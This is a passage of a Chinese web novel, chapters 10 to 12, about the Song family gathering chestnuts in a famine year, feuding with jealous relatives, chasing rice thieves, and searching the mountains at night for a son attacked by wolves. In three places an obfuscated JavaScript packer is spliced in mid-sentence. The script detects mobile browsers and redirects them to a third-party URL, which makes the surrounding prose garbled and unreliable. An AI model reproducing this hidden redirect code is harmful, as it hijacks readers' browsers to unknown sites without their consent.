柳雪梅和朱秀儿都没意见,他们带回去的栗子都铺在后院形成一坐小山了,让村里人来捡些也没啥。 况且这本来就生长在大山里头,今年是个灾年,估摸着整座山都要被人翻过遍,也早晚会有人发现这的栗子树,不如就当这个好人。 而且将人叫来一起捡,必定会有人上去摇树,这样自家还能多捡一些。 想着,柳雪梅美滋滋出去大喊,“大家快来哟,这有棵栗子树!” 林老婆子三人也不拘着宋明玉,但林老婆子不让她捡刺球,怕被尖刺伤着,叮嘱就在附近玩,不能走远。 宋明玉捡起一颗小石子,朝着山间扔下去,石子落在叶子伤层层阻碍的声响清脆,觉得好玩,一连扔了好几颗,往葱翠的山间外看去。 稻子已经全都黄了,过两日就能收稻,和金黄的芸苔花遥相呼应。 忽然,她看到几个鬼鬼祟祟的人,躲躲藏藏的,像是怕被人发现,在田坎上不知道在做些什么。 宋明玉想要认真看看,就被林老婆子给抱了回去。 林老婆子担忧地看着宋明玉跟前的一道小山坡,“还好还好,要是掉下去了,这该如何是好…” 随即将人抱到了安全地方。 10. 第10章 村里大多数在这一带采山货的村民都听到了柳雪梅嚎的这一嗓子,听到有栗子,想起那软糯香甜的口感,纷纷拎着自家的大箩筐跑过来。 “哎哟,还真是!” “这么多年了,经从未发现过这有栗子树,这是错过了多少栗子哟!” “这棵栗子树想必是有些年头了,长得比较高,被下面的树遮得严严实实,没发现也正常。” 村里人赶到树下,透过树叶缝依稀看见树枝上迎风摇晃的栗子刺球,眼睛纷纷亮起来。 “宋家嫂子,还得是你们仗义,要不是你家媳妇在外面喊一声,谁能发现这竟然还有棵栗子树,还有这样多的栗子!” 一个大婶拉着林老婆子的手亲热说着话,“今年冬天我家小孙子也能有些能存得住的甜嘴了,还得多谢了宋家嫂子。” 林老婆子笑着,“今年大家都不容易,能多找点山货回去囤着,这个冬天也能过得安心不是。” “这棵栗子树,是我闺女找着的,小孩眼睛尖,看到这有刺球,过来问我,确认是栗子后就去叫了大家伙一起来捡,人多也热闹。” 听着这话,一群人笑起来,纷纷夸赞林老婆子得了一个好女儿,见宋明玉眼睛明亮,笑嘻嘻的跟在林老婆子身边,也不怯场,谁夸她她都能回一句吉祥话,村里人更是喜欢得紧,纷纷说以后要常去宋家玩。 有爬树好的汉子已经上树去摇了,村里人等着在下面捡,一片欢声笑语,每个人都捡了满了一个大背箩。 一个吊着三角眼的老妇哼了一声,“有什么好得意的,不过就是发现了一棵树,这栗子树本就在这,只不过是被那赔钱货先一步发现,听着好像就成了她家的一般。” 有人听到,凑到那老妇身边,看热闹不嫌事大说道:“哎,冯翠花,说起来你和宋家嫂子还是妯娌呢,如今宋家大房越过越好了,你不上门去取取经去,听说人家顿顿都有油水呢。” 冯翠花听到这话,顿时黑了脸,“他们大房欠咱们的,一辈子都还不清!” 听到这话,村里人脸色都有些微妙,也没人去触这个霉头,继续加紧捡栗子,离了她远一些。 冯翠花佝偻着背,好不容易将沉重的大背箩背到家,就看见两个儿子趴在门槛上呼呼大睡,顿时大骂起来, “两个来讨债的懒鬼!别人家都拖家带口上山找山货去了,你们两个竟然还在家里头睡,看看!看看现在都什么时辰了!” 宋三源与宋四柱瞬间惊醒,看见怒火冲天的老娘,还有那散落一地栗子刺球,手忙脚乱爬起来,“娘,我们这不是刚回来嘛,就想着休息一会,哪曾想一坐下就睡着了…” 冯翠花扯开了嗓子骂,“刚回来,刚从哪回来!” 宋三源在镇子上读书,昨日刚休沐回来,冯翠花舍不得骂他,便骂宋四柱,“你也是,你看看大房那边,就靠着大郎二郎两兄弟,把日子过得红红火火,早就娶上媳妇了,你呢!只会躲懒耍滑!我这是造了什么孽啊!” 宋四柱捏紧拳头,低着头挨训。这样的场景已经上演过无数次,不管他做什么,在娘心中都比不上大房那边的那两个堂兄。 冯翠花看见他这样就来气,“还杵着做什么,粮食会从天上掉下来吗,还不快给我去山上找粮食!” 宋四柱闷闷拎着箩筐出门去了,留下宋三源还低着头站着,“娘,我今早就和四弟出门找山货了,现在手疼,晚上还要练字……” 冯翠花深吸一口气,到底没舍得骂这个家里唯一一个读书苗子,摆摆手道:“去吧去吧。你二哥今日如何了?” 宋三源道:“二哥今日多吃了小半碗米粥,比昨日好些。” 冯翠花压下心中的心酸,摆摆手让他回屋子去。 栗子重,冯翠花这些年身体本就不好,背了一大箩筐的栗子刺球下山来,现在只觉得腰酸背痛,捶捶打打一会后,这才去端了一碗米粥出来,听着隔壁那断断续续的咳嗽声,心疼得推门进去。 “我的儿啊,来,吃饭了。” 宋二河躺在床上,瘦得只剩下一堆皮包骨,屋子里昏沉沉的,弥漫着各种难以言喻的味道。 见到冯翠花进来,宋二河才喘着粗气强撑着直起身子来,“娘…” 冯翠花眼含着泪,“二河,真是苦了你了,苦了你啊…” 宋二河掩盖住眼底的猩红,“娘,无事,这么多年了,是我自己命该如此。” 冯翠花哭起来,“当年官府征兵,本就该是大房出人,死老头子非偏袒大房一家,娘闹了几天,死老头子才愿意改成抽签出人的方式,奈何还是抽中了你大哥…” “我不愿意,又再抽了一次,竟然还是你大哥……我是看着官府得人把他押走的啊,你大哥死在战场上了,你又不慎被压坏了腿…” “你三弟尚在读书,四弟也是个没有出息的,我们二房怎么这么苦啊,这么苦…” 宋二河伸出枯槁的手想要拍拍冯翠花,但看见自己这枯枝一样的身体,心里就抑制不住的烦躁,“娘,过去的事已经过去了。” 冯翠花抽泣着,又是一连叹气,将米粥仔细喂给宋二河,这才小心翼翼掩门出去。 看到钱小芬和王兰各自带着自家的小赔钱货回来,冯翠花脸色瞬间沉下来,冲上前去,看到每个人的背筐里面只有一小些野菜,顿时大骂起来: “钱小芬你个不中用的!克死了宋大海,还想要再克死我吗!别忘了你当年是怎么嫁给大海的,我要是想打死你,谁敢说半个不字?!” 冯翠花又看向怯生生躲在钱小芬身后,如同豆芽菜一样干瘪枯瘦的小女孩,想起林老婆子护得跟心肝肉一样的宝贝闺女,白胖喜人,又是一顿气: “还有你这个赔钱货!跟着你娘克死你爹,要不是我老婆子心肠好,就你这样的,早就被野狼叼去吃了!竟然只找了这些些吃食!要反了天了!” 冯翠花凌厉了三角眼又扫过瑟瑟发抖的王兰和她脚边一个沉默寡言的一对姐弟,也只有在看到自己大大孙子,冯翠花才有点笑脸。 “哎哟,奶奶的小乖孙,过来奶奶抱。” 看着大孙子哭着要王兰抱,冯翠花的脸又耷拉了下来,不过在在家唯一的孙子面前,她可没想着骂他亲娘,万一在背后说她坏话,孙子不和她亲了怎么办。 冯翠花忽然有些累。 “行了,都进去歇着吧。”冯翠花摆摆手,“等会再出门去捡点栗子,冬天也好有些口粮。” 王兰不敢抬头,只颤抖地应下。 钱小芬眼珠子转半天,这才道:“娘,捡什么栗子啊,你以为大房那边这么好心,让全村人都去捡栗子,我远远瞧见,他们早就自己挑了几个大袋子回去了,那担子沉甸甸的,想必里面都是栗子!” 冯翠花明白过来,“就知道他们大房没什么好心思,原来是自个捡完了才叫的人!” 钱小芬继续道:“现在村里人大多拖家带口捡山货去了,大房那边又在村尾,眼下家里是没人呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485425|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 冯翠花反应过来,三角眼凌厉看着她:“你的意思是……” * 冯翠花和钱小芬鬼鬼祟祟出了门,直奔村尾的宋家大房去。 这么些年,冯翠花一直对大房恨之入骨,觉得就是老爷子偏袒大房,才让他们二房出人去服兵役,如今死在了战场上,连尸骨都找不着。 平日里在路上遇着大房的人都得啐两句,因此她也一直没来过村尾。 自从分家之后,二房闹了几天,占了原本老宋家的房子,还将大房十几口人全都拿扫帚赶了出去,只知道他们在村尾圈了一块地,自己造了房子。 冯翠花日日睡前都要祈祷,希望野兽下山来,咬死大房那群人。 如今亲自前来,这才发现大房原来住得这样好,背靠大山,围了又高又厚的篱笆墙,上头全是尖刺,就算是狼来了也不能轻易进得去。 屋子更是建了好几间,远远望去就气派得很。 冯翠花心中有气,当年将大房近乎扫地出门,一文钱都没有分给他们,他们哪来的钱造房子? 想着,就到了院门前。 伸手推了推,门栓在里头锁住了。 两人围着篱笆转了半天,没找到除了院门之外的其他入口。 转到了后院篱笆外,瞧见里头那堆成山一样的栗子刺球,还有一大筐水灵灵的大蘑菇,甚至院子里还围了两亩地。 半亩长势喜人的菜,半亩黄澄澄的芸苔,还有一亩乱七八糟的野花野果,姹紫嫣红。 院角位置还圈出了鸡圈鸭圈,甚至还养有两头猪。 大房竟然一直过着这样好的日子! 冯翠花和钱小芬心里的嫉妒都快要破体而出了! 两人正想要搬来石头,从后院的篱笆墙进去,就听到有说笑声传来,两人立即歇了菜,躲在篱笆后面。 就看到林老婆子三人又背着满满一大背筐的山货回来了,有野菜,有栗子、芋头,还有一些野果子。 宋明玉的小背篓也没空着,里面放满了宋知江三人摘来的野山楂。三个男娃子嬉笑打闹着,各自的小篮子里全是野果。 柳雪梅与朱秀儿各自押着自家泥猴一样的儿子下去清洗去了。 冯翠花看得心里嫉妒。 同样都是两个媳妇,凭什么大房这两个这样能生,竟然三个都是男娃! 冯翠花幽幽看了一眼钱小芬,钱小芬自觉婆母在含沙射影,很识趣缩了缩脖子,没说话。 两人守了半天,空着手回去了。 冯翠花一路上面色阴沉,本来心情就不美妙,还被钱小芬撺掇着去看了仇人的幸福生活,这比拿着钝刀子剜肉还让人难受。 到了家门,就见到宋四柱喜气洋洋拎着一只肥硕的山鸡和一只兔子回来,“娘!娘!今晚有肉吃了!” 冯翠花大喜,冲上前去拎起山鸡,沉甸甸的重量扫去了压在心头的阴霾,“哎哟,这山鸡怕是得有三十斤!” 钱小芬笑着,“娘,这只兔子也是不轻呢!” 冯翠花今日第一次露出笑脸,“还是老四有出息!” 宋四柱笑着,“是大房的宋大郎给我的,当时他们正准备下山,见到我,就分给了我一只鸡和一只兔子。” 冯翠花瞬间黑了脸,钱小芬面色也不好看。 但两人也没说什么,这本来就是大房欠他们的,哪能是一只鸡和一只兔子就能还清! “吃什么肉!就想着吃肉,明日上镇子上换钱存着!” 11. 第11章 宋老汉脸上的笑就没停过,两只手各拎着一只肥大的野山鸡,健步如飞。后头的背筐也稳稳当当装满了山货。 宋大郎拎着一只肥兔子,宋二郎则拎着两只山鸡。 俩人本不让宋老汉拿这么多,然后就被宋老汉骂了一顿,“怎的,嫌我老了?我当年连野猪都能打死,这点算什么!” 三人兴奋回到家,宋明玉这些孩子被迫洗完了澡,正在新奇地分享今日见闻。 宋知江拿手比划着:“我真的看见了,那只仙鹤大概有这么高,这么大,可威风了!” 宋知云和宋知文羡慕不已,“大哥!你看见仙鹤了也不叫我们一声,我们都还没有见过仙鹤呢!” 宋知江挠挠头,“我也只是看了一眼,仙鹤就飞进大山里头了…” 宋明玉笑着摇摇小胖手,“快过来,看我们今日采的大蘑菇!” 三个小男孩又被蘑菇给吸引了注意,看着伞盖彭大,朵朵完整的大蘑菇,几个小孩新奇不已,三个脑袋将装蘑菇的大背筐围得密不透风。 “哇!大蘑菇!” “蘑菇长得好像一把伞呀,小蚂蚁们下雨也会去蘑菇下躲雨嘛?” “可能会,蚂蚁这么小,蘑菇这么大……哎,躲雨的时候会不会把蘑菇给吃了…”宋知文挠着头。 孩子们叽叽喳喳,林老婆子三人则在院子中剥栗子,将带刺的刺球分离出来。 “乖囡囡,看爹爹带什么回来啦?”宋老汉的嗓门一如既往的大声。 院子里喜气洋洋的,无数个傍晚宋老汉都是这样哈哈大笑回来与家中孩子们一同玩笑。 宋明玉看着自家爹手里拎着,肩上抗着,大哥二哥手里也没闲着。 三个男娃子早就尖叫着跑过去,“哇哇!!大山鸡!还有大兔子!” 宋老汉让林老婆子将手中的山鸡拿下去了,将背上大背箩拿下来,神神秘秘的,将几个小孩的目光吸引了过去。 大人们发笑,林老婆子也笑着,“你们爹呀,人越老就越和小娃们能玩到一块,现在都快成为咱家的孩子王了。” 朱秀儿和柳雪梅拿了几根木柴过来,在后院原本的鸡窝旁新搭了一个简易般的窝,将三只大山鸡绑了腿放进去养着,至于那只兔子,林老婆子只知道兔子打洞非常厉害,不敢就着地给它围窝,怕这兔子钻洞跑了。 只得先拿了一个小背筐来,将兔子放进里头。 出来就看见几个娃子围着宋老汉的大背箩哇声一片,仿佛见着了什么不可思议的东西。 林老婆子几人笑着凑近一看,这才发现是一窝小兔子,刚长出新毛,几只兔子乖乖软软地挤在一起,瞧着别提多喜人了。 宋明玉新奇道,“爹爹!是小兔子!以后我们可以养小兔子吗!我一定会好好照顾它们的!” 三个小子也齐齐点头,眼里全是闪亮亮的期待,“一定会好好照顾小兔子的!” 宋知江和宋知云上了两年学堂,冒出一句话来,“有我们一口饭吃,就有它们一口……一口…” “咦,小兔子是吃什么长大的?” 宋老汉忍不住笑,“当然是吃草了,不然兔子在大山里面怎么活下来。” 宋大郎补充道:“也吃瓜果蔬菜。” 三个小子齐齐道,“我们摘了好多好多野果,都给小兔子吃!” 院子内笑声一片,吹平了每个人疲惫的心。 夕阳西下,斜斜的照射在宋家小院里,几个孩子凑在一起商量着怎么给小兔子搭窝,林老婆子和朱秀儿、柳雪梅三人则赶忙将栗子从壳里面分出来,堆放在院子里容易扎到娃子。 宋老汉等人则在处理山鸡,和晾晒剥好的栗子。 说到这三只山鸡和兔子怎么个章程时,宋老汉哈哈大笑,“今早答应囡囡煮鸡汤喝,今晚就煮一只鸡!兔子咱们也没吃过,留了过几天再吃。” 剩下的两只山鸡,全家人商量着等宋大郎下一次去镇上,拿去酒楼换些银钱。 就在一家人其乐融融时,夕阳将一道消瘦的身影拉得老长,那人步履蹒跚过来,看到宋家小院的大门,激动得跑了几步。 “爹!娘!三儿回来了!” 宋三郎背着一个包袱,脚步匆忙来到小院门口,便看到家里人开心的样子,融暖得像一副油画,心里愈发高兴。 林老婆子听到宋三郎的声音,连忙迎了上去,多月不见,两眼泪汪汪,“三郎,三郎,快让娘看看!瘦了!” “三哥!”宋明玉咧着嘴笑着,小炮弹一样扑到宋三郎怀中,“三哥!囡囡好想你。” 宋三郎将宋明玉抱起来,笑着道:“三哥不在家的这段日子,小妹长高了。” 宋大郎和宋二郎闻声也立马从后院出来,见三弟愈发身材修长,斯文有礼,不禁感慨地点点头。 三弟如今已经出落得和他们这些魁梧黝黑的庄稼汉完全不同,欣慰地拍了拍宋三郎的肩膀:“三弟,好好读书!” “三叔三叔!!”三个小子也一齐跑过来,对于家中这个时常不在家又饱读诗书的三叔,他们是敬畏的。 朱秀儿和柳雪梅没事就爱将宋三郎搬出来训诫自家孩子认真读书,“学学你们三叔,如今已经到镇子上读书去了,日日挑灯苦读,自己抄书就能赚银子。” 三个男娃子一想,抄书就可以赚银子,那岂不是想吃多少零嘴就买多少?当即认真对待读书起来。 宋老汉笑呵拎着一只整理好的大肥山鸡出来,“三郎回来啦!回来得正好,今晚咱们炖山鸡吃!” “好耶!炖山鸡!炖山鸡!” 院子内传出一片片吵闹声,欢声笑语浸润着每个人的心田,这样美好的日子,就算是再苦再累也是值得的。 宋三郎笑着,将背上的包袱解开,除了两件外衫和一些笔墨纸砚,还有一两本书籍之外,宋三郎从包袱的角落里掏出一些果脯蜜饯。 将蜜饯分给四个小辈,“这是给人抄书的时候,主家赠予我的,我尝了一块,觉得小妹和侄儿定然喜欢,便省着留了回来。” 四个小孩开心拿着蜜饯吃去了,三哥每次休沐回来都会给他们带零嘴吃食,上上次是胡饼,上次是糕点,这次又是蜜饯。 宋家买不起蜜饯果脯这样富家子弟才能吃得起的零嘴,这年头糖贵,那舍得用糖来做果子。 宋知江几个人舔着蜜饯,都舍不得一下子吃完。 院子中三个女人看着心头欢喜,剥栗子的手更卖力了。 宋老汉一边整理山鸡,一边问宋三郎:“三郎,这次休沐多久?” 宋三郎道:“夫子准许我们过完秋收再回书院。” 说完,将包袱拿到自己的屋子里放好,看着里面一尘不染,一看就是有人日日打扫。 他偏头从窗户向外看去,温和的夕阳笼罩在一家人身上,小妹侄儿玩闹嬉笑,爹娘敦厚待人温和,宋三郎心中愈发安稳,坚定了一定要考取功名,带着家人过更好的生活! 日落月升,宋家也开饭了。 宋老汉看着今日难得家里热闹,便将桌子搬了出来,放在大院中,一盆香喷喷的栗子炖山鸡端上桌,还有各种清淡的山货小菜,过年都没这么丰盛。 林老婆子先给宋明玉乘了一碗香浓的鸡汤,又夹了一个鸡腿放在她碗里,看着小玉团子自顾自地开始和大鸡腿斗争,林老婆子心里暖烘烘的,也开始吃起来。 三个小子自有自家娘亲帮忙盛了汤,喝着鲜香味美的香甜鸡汤,虽然烫嘴,三个人一边喝着一边哇哇大叫,嬉笑一团。 栗子软糯香甜,浸润了山鸡鲜浓的汁水,一口咬下去鲜得舌头都要吞下去。 这年头肉都贵,农家人一年到头也舍不得吃几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485426|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,野味也不易得,况且采山货也只有秋收前后几天才适合。 鸡肉鲜香味美,一家人饱餐,连一滴汤都没剩下,三个男娃子更是将盘子都舔干净了。 月凉如水,时不时响起不知名的虫子鸣叫,柳雪梅和朱秀儿张罗着帮自家的小子洗澡睡觉,宋老汉说着往昔那些田间趣事,逗得几个孩子哈哈大笑,兴趣浓浓。 不多时,宋大郎与宋二郎拎着锄头便出了家门,稻子这两日就能收了,虽说收成没有往年好,但这也是一家子的命,这两天总归要出两个人去田里守着。 前两年上游村就有一户人家的稻子半夜被人偷了,关键是偷还不认真偷,将田里糟蹋得七零八落的,许多稻子掉在地上,看着都心疼。 后面闹得官府都来了,最后还是不了了了之,从那以后,每次收稻,家里都要出两个人去守着,也能放安心些。 宋三郎带着四个小辈在堂屋前考校学问,一是方便检验每个人都学到了什么,二是督促存有侥幸心理,不认真读书的小娃。 虽然最小的宋知文还没有开蒙,但也跟着宋知江和宋知文学了一些大字,如今也能跟上进度,一起磕磕绊绊地读书了,柳雪梅看了心生欢喜。 这下,别人平日里认真跟着孙夫子学的,如今都能回答宋三郎的考校,如宋知江这样比较牛皮顽劣的娃子,磕磕巴巴答不上,心里存有羞耻,以后也会认真读书,争取下次回答上来,朱秀儿也是满脸欣慰。 就在这时,宋二郎拎着锄头匆匆跑回来,喊道:“不好了!爹!娘!有人来偷稻子了!” 林老婆子第一时间站起来,“什么?被偷了?二郎你说清楚些,什么情况?” 宋老汉皱着眉头,气冲冲来到宋二郎面前,“被谁偷了!光天化日下竟然有人敢偷稻子!” 朱秀儿和柳雪梅也迎了出来。 宋二郎气喘吁吁,“还好今日我和大郎去得早,将那小贼吓跑了,不然还要被偷一片!” “大郎追人去了,爹,赶紧去通知村子,有贼来偷稻了!” 宋老汉一听这话,立马严肃起来,拿着锄头就出了门,偷稻这样的大事,就算是请里正出面去查,也是使得的! 宋老汉赶到村长家,说明了情况,村长一听这还得了,立马赶到村子中的大槐树下,那有一面锣鼓,只有村子中有大事发生的时候才会敲响,轻易不会动。 “铛铛铛——” 沉重的锣鼓声传遍村子的每个角落,家家户户都出门张望着,这个时间段正是刚吃完晚饭,和邻居拉家长的时候,正疑惑有啥大事发生了。 虽是这样想,每家每户还是派了一个人前来。 大槐树下有一圈石头,日积月累下被磨成了桌子和圆墩子的模样,白日里村长老人闲来无事便会在此聊家长。 李村长站在石桌上,神情愤怒:“乡亲们,今年稻子收成不好,这是有目共睹的,大家伙都齐心协力上山采山货度过灾年,可是竟然有人存了歹心,竟然敢偷稻!” “偷稻!”一些老人两眼发黑,气的当场就要拿起棍子去追贼人,“哪个杀千刀的贼,竟然敢来偷稻子!” 李村长面色沉沉,“这是宋家的大郎和二郎去守田时发现的,山东头那边,被人偷摸割去了一半,现在赶紧去自家地里查看,发现有可疑的人,不要轻饶,立刻抓来!” “我现在就去禀告里正,让他为我们主持公道!” “宋大郎已经去追贼人了,到时候也能描述贼人的样貌,告到官府去,决不轻饶!” 村里人气愤,赵大牛捏着拳头道:“村长,我现在就去和宋大郎一起追贼,今儿个不将那贼人打死,我就不姓赵!” “对!对!”村里人附和着,全都眼神愤怒。 “严惩偷稻贼!” 稻香村再一次火光冲天,热闹起来。 12. 第12章 稻香村再次亮起大片火把,浩浩荡荡地,随后又各自分散,往自家田地里头去。 “哎哟,是那个黑心肝烂肚肠的贼啊!我家就三亩薄地,今年的赋税都没凑够啊,就被人给偷去了整整一亩地的稻子!” “我家也被割了半亩!” 王大花哭闹得尤其大声,“我家被割了两亩!整整两亩地啊!你们偷稻子的人吃得心安吗!一群黑心蛆烂脓包的货,我要和那些贼拼了!” 几乎家家户户都发现了自家有不同程度的被偷稻,田地里响起一阵阵怒骂声,随后又统一战线,要一同找出贼人。 …… 宋大郎一直紧紧追着前面那抹黑影跑。 一想到这个贼乔装打扮,半夜来偷稻子,他就心神气愤。 贼人显然熟悉山路,跑了一段七拐八拐的路之后,发现跑不过身强体壮的宋大郎,索性一边跑一边从袋子中将稻子掏出来,一把把往宋大郎扔去。 稻子没有脱杆,甩到人脸上刺辣辣的,还有些稻子飞进眼睛嘴巴里,难受得很。 “你个肮脏玩意,你敢糟蹋粮食!你给我停下!”宋大郎扯着嗓子喊,奈何前面的人影越跑越快,眼看着消失在树林里,宋大郎筋疲力尽,气喘吁吁。 抬起头时,这才发现自己竟然追着贼人一路跑到了山林里,看着这附近漆黑又陌生,宋大郎也有些忐忑。 抬起头,一只乌鸦怪叫着从头顶飞过。 夜已经快要完全黑了,若还在这山林里继续待下去,非常危险。 宋大郎当机立断,扭头往回走,这一扭头,就撞进一双双血红的眼睛里,飘在空中,如同鬼魅一般。 狼! 这是狼! 还是一大群狼! 宋大郎压下心中震惊,静谧的山林里,他清晰听到了自己心如擂鼓,而又慢慢沉下去。捏紧拳头,知道这个时候万不能露怯和发出声音,以免惊扰到这群血腥动物。 他死死盯着那群红色的眼睛,人在危急关头五感能力总是能无限放大,就比如此时,宋大郎甚至能感受到狼群粗重的喘息声,如同就在耳边炸响。 宋大郎尝试慢慢后退,脚每抬起一步,就觉得自己仿佛是在细线上行走一般,稍有不慎就会掉下悬崖。 他也不敢回头,生怕身后也有东西,这样他一丝生还的机会都没有了。倒不如彻底相信后方,一步步慢慢往后退去。 就这样一连走了十几步,看着那群泛着冷光的红色眼睛离自己越来越远,宋大郎几乎静止的心脏才重新开始跳动起来,但还没来得及喘口气,就听到清脆的一声响: “嘎吱——” 踩到树枝了! 宋大郎当机立断,立刻扭头朝着山林内里飞奔而去,感受到身后山摇地动的呼啸声,矫健的大型动物飞奔起来的动静离自己越来越近,宋大郎几乎没做任何思考,顺势抓住一条从头顶垂下来的藤条,奋力朝前荡了过去… 吼—— 嗷呜…… 一只巨大的狼狠狠咬住了宋大郎的腿,竟跟着他一同荡了起来。 宋大郎只觉得如锥心一般难受,小腿被尖利的狼牙死死咬住,紧丝合缝,血液涓涓流出,双手也开始使不上力气了。 宋大郎低头看了一眼还咬在小腿处的狼,撞进那双猩红的眼睛里,一咬牙,抬起另一条腿狠狠往狼踹了过去。 “嘶——” 狼撕扯着一块小腿肉,掉了下去。 藤蔓这时也荡到了尽头,刚好躲在一根粗壮的树干上。 宋大郎脸色苍白,颤抖着身躯看向鲜血淋漓的小腿处,已然缺了一大块肉。 他颤抖着撕下衣衫,往小腿处缠了一圈又一圈,直到整条腿都被裹得紧紧的,才停下手。 天已经完全黑了,伸手不见五指。 宋大郎凄惨一笑,随即又有些恼恨。他恨自己没有认真观察路线,被人带到了大山深处,恨自己今后…恐怕再也见不到爹娘,见不到妻儿,见不到小妹了…… * 稻香村火光冲天,宋家人也近乎全家出动,就连小娃们也跟着自己娘出门寻人。 宋二郎带着村里人来到山东旁,指着上山那条路道:“就是这,就是这,大哥就是从这追着上去了!” 朱秀儿凄惨叫着,“大郎!大郎啊……” 她怀中一对双胞胎儿子也哭声震天,“爹……” 宋老汉心下着急,拿着火把就要往山里去。 有人拉住他,“宋家大伯,眼看现在天都黑了,这山上大虫猛兽居多,大多还都在夜间出来行动……” “给我放手!”宋老汉力气大得很,双眼通红,“我儿子在上面,我要去寻他!” “爹爹,囡囡和爹爹一起去!”宋明玉抱住宋老汉的腿,满脸愁绪,原本开怀的小玉团子这个样子,瞧着让人心疼不已。 “囡囡乖,等爹爹带大哥回来。”宋老汉将人推到林老婆子怀里,看着泪流满面的林老婆子,沉声吩咐:“我这条命算是大郎救回来的,大郎是我儿子,就算现在山上危险,我也不能不管他!” “爹——” “爷爷——” 宋家哭声一片,村里人也都纷纷落泪,王二狗第一个站出来喊:“宋家大伯,我跟你一块上山!” “这山我熟,之前吃不起饭时,就经常到山里碰运气,带上我,也多一份保障!” 赵大牛也道,“俺什么没有,就一身蛮力,我也一起去吧,我家寡母将我拉扯大不容易,从小我就是吃百家饭长大的,如今也算是报答宋家当年的恩情了。” “我也去!” “带上我!” 纷纷有身强体壮的汉子站出来附和,个个面色愤慨,眼神坚定。 宋老汉环顾一圈,流下热泪,“好!好!” “我宋老汉在此,谢谢大家了!谢谢大伙救命之恩!”说着,宋老汉就要当场跪下,立即被人扶了起来。 赵大牛道:“宋家大伯,宋大郎是我兄弟,这还客气啥!可别折煞我们了。” 宋四柱也在人群中看着,心中闪过几丝不忍,今日下午还笑着给他送山鸡野兔的宋大郎,现在被困在山里,眼瞧着就要不好了。 他攥紧拳头,也要站出去,却被冯翠花紧紧拉住了袖子。 宋四柱着急,回头近乎哀求道:“娘,今日宋大郎还给我们家送了肉,我不能见死不救。” 冯翠花骂他,“你个没良心的!那大山有这么好进的?山上多少豺狼虎豹,就都在夜里出来找吃的,现在进去,不就是进去送死吗!” 宋四柱道:“村里这么多汉子都一起去,再说了那些虎豹不是怕火吗,咱们多带些火把进去,一定没事的。” 冯翠花死死拉着他,一双三角眼异常亮:“那也不准去,这要人命的东西,谁能说得清楚,要是运气不好,这些人一死就得全都死全乎了!” “娘!你别说丧气话!” “我说的难道不是事实吗!眼下自家的稻子都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485427|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人给偷了大半,不想想办法,还在这关心大房那边,你个白眼狼!不就是给咱们送了一顿肉,他们就算是把命捧到我面前我也不稀罕!给我回家!” 宋四柱被冯翠花扯着耳朵回家了。 * 稻香村里十几个汉子组成一个临时小队,人人带上家中的大砍刀,别在腰间,举着火把,浩浩荡荡要进山。 宋明玉争取进山不成,人人都只当她是个小孩,现下形式混乱,也没人注意到她。 宋明玉着急,这样黑的天进大山,可不是什么好事,再说了进山之后呢,该怎么找人,还不是举着火把大喊,这样更容易招来豺狼虎豹。 大哥在山里说不准怎么样,万一受了伤,就耽误不起时间,也等不起这样漫无目的地找。 正焦急着,看到王大爷家的大黄汪汪汪汪叫个不停,摇着尾巴在人群中乱钻,灵机一动道: “爹!带上大黄!让大黄闻闻大哥的东西,大黄就能跟着气味去找大哥!” 宋老汉立即回过神来,对啊,狗鼻子机灵,就算去了很远的地方,半路撒泡尿,都能闻着回来。 宋老汉回过神,这一番找人心切,忘了这大山可不是那么好进的。 王爷爷也在场,当即道:“就让大黄跟着进山找人,能救人一命也算是它的造化。” 林老婆子紧紧抱住宋明玉,宋家人也都稍稍停下哭声。朱秀儿最先反应过来,“我……我回去拿大郎的衣物!” 宋老汉来到宋明玉身边,抱着小闺女亲了又亲,怎么看都看不够。 最后一行十几人,大黄威风凛凛走在最前方,浩浩荡荡进了山。 还有人背着箩筐,里头放了用水浇湿的毯子,这秋天干燥,这么一大群人举着火把进山,稍有不慎就有可能点燃山林,那时候整个稻香村都难逃其咎。 因此背着打湿的毯子,就算起了火星子,也能及时把火扑灭。 一行人紧紧跟着大黄,大黄时不时停下来仔细嗅着,时而加快步伐往前而去。 …… 宋大郎觉得自己体内的血都快要流干了,眼睛已经不能看到任何东西,黑乎乎的一片,像墨一样化不开。 用手去触摸绑在小腿的布衫,只能摸到一片湿濡,空气中全是血腥味,时不时还有某种大型兽类来往的声响。 隐隐约约间,他竟听到了村里的王二狗喊他的声音。难不成是他上山来找自己了? 他第一时间反驳了自己这个想法,现在都什么时辰了,山上野兽一大群,稻香村世代都明令禁止夜里上山,这么多年村民也只敢在外围行动,怎么可能会有人这个时候上山来。 就算是因为他…… 不行! 宋大郎摇摇头,否定了自己这个想法。他不能因为自己,让大伙陷入危险之中。 